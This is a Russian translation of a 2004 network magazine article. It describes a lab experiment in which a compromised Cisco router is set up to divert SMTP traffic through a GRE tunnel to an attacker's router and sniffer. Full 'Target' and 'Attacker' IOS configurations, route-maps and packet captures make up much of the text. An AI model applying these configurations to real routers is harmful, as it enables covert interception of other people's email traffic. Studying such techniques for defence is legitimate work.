использование взломанного маршрутизатора для захвата сетевого трафика.

введение

В данной статье описывается подход, методология и результаты проведенного эксперимента по использованию взломанного маршрутизатора как средства для захвата сетевого трафика. Маршрутизаторы находятся вне корпоративной межсетевой защиты и часто очень плохо защищены. В некоторых случаях, взломанный маршрутизатор может использоваться в качестве отправной точки для дальнейшего захвата сети, но наиболее ценным подходом является использование маршрутизатора для сниффинга входящего и исходящего сетевого трафика организации.
/* Даже если вы не собираетесь ломать маршрутизатор и прослушивать чужой трафик, все ранво ознакомьтесь со статьей: там есть хорошие шпаргалки по организации GRE-туннелей на Cisco, да и вообще статья интересна хотя бы с позиции «чистого искусства» — прим. ред. */

подход


Выбранный подход заключался в установлении GRE-туннеля между захваченным маршрутизатором и маршрутизатором, находящимся под управлением злоумышленника. Маршрутизация настраивалась таким образом, чтобы переадресовывать входящий и исходящий трафик на маршрутизатор злоумышленника через GRE-туннель. При этом трафик прежде обрабатывался маршрутизатором злоумышленника, а после возвращался на основной маршрутизатор для заключительной доставки (снова через GRE-туннель).
Было проверено два вида сценариев обработки трафика. В первом, захваченный трафик был просто "отражен" маршрутизатором злоумышленника, минуя GRE-туннель, как показано на рис. 1. Этот метод имел преимущество в простоте конфигурирования маршрутизатора, но имел некоторые недостатки:
— для захвата трафика необходимо "проснифить" внешний интерфейс маршрутизатора злоумышленника. Это достаточно трудно реализовать в сетях, отличных от Ethernet;
— захваченный сетевой трафик является GRE-инкапсулированным. Необходимо было декапсулировать этот трафик прежде, чем произойдет декодирование IP-адресов.

  


Рисунок 1. Сценарии 1 и 2.

Во втором сценарии, маршрутизатор злоумышленника конфигурируется для передачи захваченного трафика на рабочую станцию Unix, перед пересылкой на целевой маршрутизатор. В таком сценарии устранены предыдущие недостатки:
— внешние сетевые носители на маршрутизаторе злоумышленника — произвольны;
— трафик, переправленный через рабочую станцию Unix, уже декапсулирован, что дает меньше времени для извлечения нужной информации.

топология

На представленном ниже рисунке показана топология сети, используемой в нашем эксперименте.

 


Рисунок 2. Топология сети.

 

оборудование

На целевом маршрутизаторе используется оборудование Dual Ethernet Cisco 3600. Маршрутизатор злоумышленника — Ethernet Cisco 2600. Но на самом деле такая топология одинаково применима к любому Cisco-маршрутизатору, равно как и к любым маршрутизаторам, использующим GRE и политику маршрутизации.
Почтовый сервер является Linux станцией. Сетевой сниффер — рабочей станцией Solaris. Выбор данного оборудования был полностью произволен.

установление GRE-туннеля


Первым шагом, после конфигурирования маршрутизатора, является установление GRE-туннеля между целевым маршрутизатором и маршрутизатором злоумышленника. При реальном выполнении данной методики, для начала целевой маршрутизатор должен быть взломан, чтобы затем быть сконфигурированным удаленно. Но описание методов дискредитации устройств выходят за рамки данной статьи.
На целевом маршрутизаторе:

Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit


Итак, мы создали туннельный интерфейс (называемый tunnel0). Ему задан локальный (виртуальный) IP-адрес 192.168.5.1. Внешний Ethernet-интерфейс определен как локальная конечная точка туннеля, а маршрутизатор злоумышленника определен как удаленная конечная точка туннеля.
Аналогочные комманды используем и на маршрутизаторе злоумышленника:

Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit


Итак, мы установили GRE-туннель между двумя маршрутизаторами. Независимо от того, сколько существует хопов ("прыжков") между маршрутизаторами по Интернет, GRE-туннель будет рассматриваться как один единственный "прыжок".

сценарий 1 — политика маршрутизации


Для сценария 1 (см. рис. 1), мы устанавливаем политику маршрутизации на интерфейсе tunnel0 маршрутизатора злоумышленника таким образом, чтобы "отражать" трафик, прибывающий в GRE-туннель:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit


Список доступа 100 соответствует всему IP-трафику. Карта маршрута выбирает весь трафик, соответствующий списку доступа 100 (весь трафик) и отсылает его на IP-адрес 192.168.5.1, являющийся конечной точкой GRE-туннеля целевого маршрутизатора. Эта карта маршрута применена к интерфейсу tunnel0.

сценарий 1 — настройка рабочей станции Unix

В сценарии 1 рабочая станция хакера была помещена вне внешнего интерфейса его маршрутизатора. В данном случае конфигурация рабочей станции Unix произвольна, поскольку она должна только пассивно захватывать сетевой трафик.

сценарий 2 — политика маршрутизации

Во втором сценарии мы настраиваем политику маршрутизации на туннельном интерфейсе маршрутизатора злоумышленника и на внутреннем Ethernet-интерфейсе, чтобы "отражать" трафик, прибывающего из GRE туннеля через рабочую станцию Unix на внутренний Ethernet-интерфейс.
На маршрутизаторе злоумышленника:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit


Карта маршрута пересылки входящего трафика установлена на интерфейсе tunnel0. C помощью этого происходит пересылка всего трафика, прибывающего через туннель, на первичный Ethernet-адрес рабочей станции Unix (192.168.3.2). Рабочая станция отсылает этот трафик назад на маршрутизатор злоумышленника (192.168.4.1), используя стандартный маршрут.
Карта маршрута пересылки исходящего трафика установлена на внутреннем Ethernet-интерфейсе маршрутизатора злоумышленника. C помощью этого происходит пересылка всего трафика из рабочей станции Unix на целевой маршрутизатор, минуя GRE-туннель.

сценарий 2 — настройка рабочей станции Unix

Во втором сценарии рабочая станция настроена следующим образом: первичный IP-адрес: 192.168.3.2, вторичный IP-адрес: 192.168.4.2. Вторичный IP-адрес является виртуальным на всех физических сетевых интерфейсах.
Стандартный маршрут: 192.168.4.1.

определение трафика для захвата

Теперь необходимо определить списки доступа для трафика, который необходимо захватить на целевом маршрутизаторе:

Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit

Данный список доступа соответствует всему SMTP (25/tcp) трафику. Теперь необходимо определить правила для согласования входящих и исходящих пакетов, поскольку этот список доступа будет использоваться в картах маршрута для обоих интерфейсов целевого маршрутизатора.

политика маршрутизации на целевом маршрутизаторе

Наконец, мы должны установить политику маршрутизации на целевом маршрутизаторе, для пересылки интересующего нас трафика через GRE-туннель:

Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit


Карта маршрута определена так, что трафик соответствует списку доступа 101 (весь SMTP-трафик) и пересылается целевой маршрутизатор через GRE-туннель. Эта карта применена к внутреннему и внешнему интерфейсам маршрутизатора.
На этот момент весь входящий и исходящий трафики, проходящие через маршрутизатор, будут переадресованы на маршрутизатор злоумышленника через GRE-туннель. Трафик, прибывающий из захваченного маршрутизатора через GRE-туннель (отраженный трафик) доставляется согласно стандартного маршрута.

результаты

В обоих сценариях SMTP-соединения были перенаправлены через GRE-туннель и успешно захвачены рабочей станцией Unix.
Ниже показан перехват создания сеанса SMTP-соединения для первого сценария:

1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
2 0.00208 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3 0.00144 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4 0.00277 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5 0.00140 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6 0.00060 192.168.2.2 -> 192.168.1.3 SMTP R port=1617
7 0.00032 192.168.1.3 -> 192.168.2.2 SMTP C port=1617
8 0.00183 192.168.1.1 -> 192.168.1.2 IP D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9 0.00138 192.168.1.2 -> 192.168.1.1 IP D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799


Пакет 1:TCP SYN-пакет от клиента к почтовому серверу.
Пакеты 2 и 3:SYN-пакет, посылаемый от целевого маршрутизатора к маршрутизатору злоумышленника и обратно.
После пакета 3:SYN-пакет пересылается почтовому серверу (не показано). Почтовый сервер генерирует ответ с SYN/ACK пакетом (не показано).
Пакеты 4 и 5:показывается SYN/ACK-пакет пересекающий GRE-туннель.
Пакет 6:показывается SYN/ACK-пакет, возвращаемый почтовому клиенту.
Пакет 7:показывается ACK-пакет (финальный пакет при установлении связи), отсылаемый клиентом на почтовый сервер.
Пакеты 8 и 9:показывается этот ACK-пакет, пересекающий GRE-туннель.
После пакета 9:ACK-пакет доставляется на почтовый сервер и устанавливается сеанс связи.

А это перехват создания сеанса SMTP-соединения для второго сценария:

1 0.00000 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
2 0.00014 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
3 0.00585 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
4 0.00011 192.168.2.2 -> 192.168.1.3 SMTP R port=1712
5 0.00579 192.168.1.3 -> 192.168.2.2 SMTP C port=1712
6 0.00009 192.168.1.3 -> 192.168.2.2 SMTP C port=1712


Пакет 1 и 2:TCP SYN-пакет, посылаемый клиентом на почтовый сервер.
Пакеты 3 и 4:SYN/ACK-пакет, посылаемый почтовым сервером клиенту.
Пакеты 5 и 6:показан ACK-пакет от клиента к почтовому серверу.

выводы и обсуждение

Прозрачность.Этот метод перехвата практически полностью не заметен конечному пользователю системы. Стандартные утилиты трассировки маршрутов не будут показывать дополнительные "скачки", созданные GRE-переадресацией.
Хотя, конечно, экспертиза конфигурации целевого маршрутизатора легко бы это раскрыла.
Времени задержки.Процесс переадресации трафика через маршрутизатор злоумышленника увеличивает время ожидании на захваченном трафике. Увеличение времени ожидания можно задать формулой 2n + m, где n — время, требуемое для движения трафика через Интернет от целевого маршрутизатора к маршрутизатору злоумышленника, а m — задержка, возникающая при обработке этого трафика маршрутизатором злоумышленника (и рабочей станцией Unix).
Значение m находится в пределах 10ms (при лабораторных условиях). Значение n, вероятно, будет большим.

дальнейшее декодирование трафика

Извлечение полезной информации из захваченного трафика мы оставим как упражнение для читателей. Для этого могут быть полезны различные Unix процедуры типа strings или od.

Давид Тейлор, перевод Алексея Антипова.



Сетевые решения. Статья была опубликована в номере 02 за 2004 год в рубрике save ass…

©1999-2024 Сетевые решения